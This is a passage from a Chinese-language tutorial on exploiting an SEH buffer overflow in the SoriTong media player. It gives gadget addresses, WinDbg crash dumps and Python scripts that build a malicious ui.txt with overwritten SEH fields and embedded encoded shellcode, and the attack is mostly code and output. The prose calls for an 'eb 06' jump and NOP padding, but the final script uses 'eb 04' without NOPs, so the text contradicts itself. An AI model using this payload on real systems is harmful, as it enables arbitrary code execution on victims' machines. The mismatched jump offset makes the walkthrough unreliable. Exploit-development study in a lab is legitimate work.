0x100193c8 pop edi; pop esi; ret 0x100193ff pop edi; pop esi; ret 0x1001941f pop edi; pop esi; ret 0x1001947d pop edi; pop esi; ret 0x100194cd pop edi; pop esi; ret 0x100194d2 pop edi; pop esi; ret 0x1001af39 pop ebx; pop eax; ret 0x1001b1f1 pop ebx; pop eax; ret 0x1001b469 pop esi; pop ebx; ret 0x1001b46f pop esi; pop ebx; ret 0x1001b4d7 pop esi; pop edi; ret 0x1001b57b pop esi; pop edi; ret 0x1001b5e9 pop esi; pop ebx; ret 0x1001b63c pop esi; pop ebx; ret 0x1001b67f pop esi; pop ebx; ret 0x1001b69c pop esi; pop ebx; ret 0x1001b721 pop esi; pop ebx; ret 0x1001b7b8 pop esi; pop ebx; ret 0x1001b7e9 pop edi; pop esi; ret 0x1001b883 pop edi; pop esi; ret 0x1001bdba pop edi; pop esi; ret 0x1001bddc pop edi; pop esi; ret 0x1001be3c pop edi; pop esi; ret 0x1001becb pop esi; pop ebx; ret 0x1001bedf pop esi; pop ebx; ret 0x1001c0b2 pop esi; pop ebx; ret 0x1001c0d1 pop esi; pop ebx; ret 0x1001c22e pop esi; pop ebx; ret 0x1001c895 pop esi; pop ebx; ret 0x1001cbe1 pop esi; pop ebx; ret 0x1001cfda pop esi; pop ebx; ret 0x1001d0c2 pop esi; pop ebx; ret 0x1001d0f5 pop esi; pop ebx; ret 0x1001d121 pop esi; pop ebx; ret 0x1001d2ac pop esi; pop ebx; ret 0x1001d3dc pop esi; pop ebx; ret 0x1001d86d pop edi; pop esi; ret 0x1001d8f5 pop edi; pop esi; ret 0x1001db65 pop esi; pop ebx; ret 0x1001db90 pop esi; pop ebx; ret 0x1001dbcd pop esi; pop ebx; ret 0x1001dbe3 pop esi; pop ebx; ret 0x1001dc23 pop esi; pop ebx; ret 0x1001dc4b pop esi; pop ebx; ret 0x1001dc95 pop esi; pop ebx; ret 0x1001dcc0 pop esi; pop ebx; ret 0x1001dcfd pop esi; pop ebx; ret 0x1001dd1a pop esi; pop ebx; ret 0x1001dd61 pop esi; pop ebx; ret 0x1001dd8c pop esi; pop ebx; ret 0x1001e067 pop esi; pop ebx; ret 0x1001e0c7 pop edi; pop esi; ret 0x1001e812 pop edi; pop esi; ret ''' |
因为空字节00作为字符串的截止标识,所以我们在查找地址时应避免使用带有空字节的地址。这里我们选择0x10018de8,下面我们再来看下payload还缺什么:
1 2 3 4 |
''' [584 characters][next SEH][0x10018de8][Shellcode] junk current SEH ''' |
next SEH还需要填充上shellcode的地址来实现跳转,那么shellcode的地址是是多少呢?我们需要重新生成一个ui.txt,来获取,在新生成的ui.txt中next SEH的位置我们暂时使用断点字符0xcc来代替,方便我们查看next SEH触发时shellcode的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
'''python import struct uitext = "ui_cc.txt" junk = "\x41" * 584 seh_next = "\xcc\xcc\xcc\xcc" seh_handler = str(struct.pack('<L', 0x10018de8)) shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWSYZ" junk2 = "\x90" * 1000 fp = open(uitext, 'w') content = junk + seh_next + seh_handler + shellcode + junk2 fp.write(content) fp.close() ''' ''' (e1c.fbc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296 *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe - SoriTong!TmC13_5+0x3ea3: 00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41 0:000> g (e1c.fbc): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8 eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 <Unloaded_ud.drv>+0x12fd63: 0012fd64 cc int 3 0:000> d eip 0012fd64 cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47 ........1ABCDEFG 0012fd74 48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49 HIJKLM2ABCDEFGHI 0012fd84 4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b JKLM3ABCDEFGHIJK 0012fd94 4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90 LM.............. 0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012fdd4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ ''' |
通过打印EIP地址内容,我们可以发现shellcode距离cc的位置刚好是next SEH + current SEH的距离。如此一来,我们就可以用jmp short指令通过偏移来完成跳转的工作,jmp short对应的机器码是eb占一个字节,后面需要添加一个偏移位置占一个字节,这样剩下的间隔应该就是6个字节,所以next SEH的位置应该填eb 06,但是由于next SEH占4字节,所以我们需要使用0x90来填充空余的两个字节。最后填充结构如下:
1 2 3 4 |
''' [584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode] junk next SEH current SEH ''' |
最终生成payload的python代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
'''python #!/usr/bin/python # -*-coding:utf-8-*- import struct uitext = "ui_exploit.txt" junk = "\x41" * 584 seh_next = "\xeb\x04\x90\x90" seh_handler = str(struct.pack('<L', 0x10018de8)) shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +\ "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +\ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +\ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +\ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" +\ "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" +\ "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" +\ "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" +\ "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" +\ "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +\ "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" +\ "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" +\ "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" +\ "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" +\ "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" +\ "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" +\ "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" +\ "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" +\ "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" +\ "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" +\ "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" +\ "\x4e\x36\x43\x46\x42\x50\x5a" junk2 = "\x90" * 1000 fp = open(uitext, 'w') content = junk + seh_next + seh_handler + shellcode + junk2 fp.write(content) fp.close() ''' |
总结本篇教程学习到的东西,有以下几个:
如果您需要了解更多内容,可以
加入QQ群:570982169、486207500
直接询问:010-68438880-8669